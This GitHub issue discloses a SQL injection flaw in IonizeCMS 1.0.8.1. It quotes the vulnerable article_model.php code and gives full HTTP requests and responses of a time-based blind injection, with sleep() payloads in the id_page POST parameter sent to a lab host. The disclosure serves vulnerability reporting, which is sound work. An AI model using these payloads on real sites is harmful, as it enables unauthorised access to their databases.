

New issue

[Jump to bottom](#)

IonizeCMS-V1.0.8.1-Unverified post request parameters lead to sql injection #404

Open

EricFrank900528 opened this issue on Apr 11 · 1 comment

EricFrank900528 commented on Apr 11 • edited ▾

1.Information

Exploit Title: IonizeCMS-V1.0.8.1-Unverified post request parameters lead to sql injection

Exploit date: 11.04.2022

Exploit Author: ericfrank900528@gmail.com

Vendor Homepage: <https://github.com/ionize/ionize>

Affect Version: V1.0.8.1

Description: SQL injection in Ionize CMS 1.0.8.1 allows attackers to execute commands remotely via a sql injection request from client.

2.Vulnerability Description

The exploit code is located in the project's application/models/article_model.php file

In the shift_article_ordering method, the code is as follows.

The POST parameter id_page is spliced into the sql statement without any processing or inspection, resulting in a SQL injection vulnerability.

```
application > models > article_model.php > Article_model > shift_article_ordering

1452
1453
1454 /**
1455  * Updates articles ordering for the given page ID
1456  *
1457  * @param Integer $id_page ID of the parent page
1458  * @param Integer $from Ordering value from which start the reordering
1459  * @return void
1460  */
1461 public function shift_article_ordering($id_page, $from = NULL)
1462 {
1463     $sql = 'UPDATE ' . $this->parent_table . ' SET ordering = ordering + 1 WHERE id_page=' . $id_page;
1464
1465     if ( ! is_null($from))
1466     {
1467         $sql .= ' AND ordering >= ' . $from;
1468     }
1469
1470     $this->{$this->db_group}->query($sql);
1471 }
1472
```

3.How to Exploit

3.1Construct normal packet and send. In the image below, you can see that there is a 2 second network delay.

The screenshot shows a network traffic analysis tool interface. The top bar includes a 'Send' button, a 'Cancel' button, and a 'Target: http://192.168.17.3' field. The main area is divided into three sections: 'Request', 'Response', and 'INSPECTOR'. The 'Request' section shows a POST request to /en/admin/article/save with various headers and a long URL containing id_page=0. The 'Response' section shows a 200 OK response with a PHP error message: 'Undefined index: content_en'. The 'INSPECTOR' section shows the details of the request and response. A red arrow points to the bottom right corner of the interface, indicating a 1,515 bytes | 2,322 millis delay.

3.2 Construct the injected data to execute `sleep(1)`. It can be found that the delay is more than 4 seconds. It is speculated that there are 4 records in total, so `sleep(1)` is executed 4 times.

SendCancel<>Target: http://192.168.17.3

Request

1 POST /en/admin/article/save HTTP/1.1
2 Host: 192.168.17.3
3 Content-Length: 98
4 Accept: text/html, application/xml, text/xml, */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
7 Content-type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.17.3
9 Referer: http://192.168.17.3/en/admin
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: PHPSESSID=af7d0e936cce233647cdfa28ff7fe6ab; ion_selected_language=en; shortcutBloc=false; quickSettingsBloc=false; usersBloc=false; contentBloc=false; notificationBloc=false; dashBoardUsersTab=0; dashBoardContentTab=0; mainTab=0
13 Connection: close
14
15 id_page=(select+sleep(1))&id_article=0&ordering_select=first&ordering_after=&url_en=1&title_en=255

Response

1 HTTP/1.1 200 OK
2 Date: Sun, 10 Apr 2022 07:28:51 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
4 X-Powered-By: PHP/5.4.45
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-
7 Pragma: no-cache
8 Content-Length: 1205
9 Connection: close
10 Content-Type: text/html
11
12 <div style="border:1px solid #990000;padding-left:20px;ma
13
14 <h4 style="color:#c00;">
15 A PHP Error was encountered
16 </h4>
17
18 <p>
19 Severity: Notice
20 </p>
21 <p>
22 Message: Undefined index: content_en
23 </p>
24 <p>
25 Filename: admin/article.php
26 </p>
27 <p>
28 Line Number: 1839
29 </p>
30 </div>
31 <div style="border:1px solid #990000;padding-left:20px;ma
32
33 <h4 style="color:#c00;">
34 A PHP Error was encountered
35 </h4>
36
37 <p>
38 Severity: Notice
39 </p>
40 <p>
41 Message: Undefined index: name
42 </p>
43 <p>
44 Filename: admin/article.php
45 </p>
46 </div>

Inspector

Query Parameters (0)
Body Parameters (6)
Request Cookies (10)
Request Headers (12)
Response Headers (9)

1,547 bytes | 6,357 millis

3.3 Construct the injection again to execute `sleep(3)`, this time with a delay of $2 + 4 \times 3 = 14$ seconds if the guess is correct.

SendCancel<>>

Target: http://192.168.17.3

Request

1 POST /en/admin/article/save HTTP/1.1
2 Host: 192.168.17.3
3 Content-Length: 98
4 Accept: text/html, application/xml, text/xml, */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
7 Content-type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.17.3
9 Referer: http://192.168.17.3/en/admin
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: PHPSESSID=af7d0e936cce233647cdfa28ff7fe6ab; ion_selected_language=en; shortcutBloc=false; quickSettingsBloc=false; usersBloc=false; contentBloc=false; notificationBloc=false; dashBoardUsersTab=0; dashBoardContentTab=0; mainTab=0
13 Connection: close
14
15 id_page=(select+sleep(3))&id_article=0&ordering_select=first&ordering_after=&url_en=1&title_en=255

Response

1 HTTP/1.1 200 OK
2 Date: Sun, 10 Apr 2022 07:29:13 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
4 X-Powered-By: PHP/5.4.45
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-
7 Pragma: no-cache
8 Content-Length: 1205
9 Connection: close
10 Content-Type: text/html
11
12 <div style="border:1px solid #990000;padding-left:20px;ma
13
14 <h4 style="color:#c00;">
15 A PHP Error was encountered
16 </h4>
17
18 <p>
19 Severity: Notice
20 </p>
21 <p>
22 Message: Undefined index: content_en
23 </p>
24 <p>
25 Filename: admin/article.php
26 </p>
27 <p>
28 Line Number: 1839
29 </p>
30 </div>
31 <div style="border:1px solid #990000;padding-left:20px;ma
32
33 <h4 style="color:#c00;">
34 A PHP Error was encountered
35 </h4>
36
37 <p>
38 Severity: Notice
39 </p>
40 <p>
41 Message: Undefined index: name
42 </p>
43 <p>
44 Filename: admin/article.php
45 </p>
46 </div>

INSPECTOR

Query Parameters (0)
Body Parameters (6)
Request Cookies (10)
Request Headers (12)
Response Headers (9)

Search... 0 matches

Search... 0 matches

Ready

1,547 bytes | 14,366 millis

4.Suggestion

Validate the parameters in the post request to avoid SQL injection

partikule commented on Apr 11

Member

Feel free to correct it : The project isn't maintained since 2017 !

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

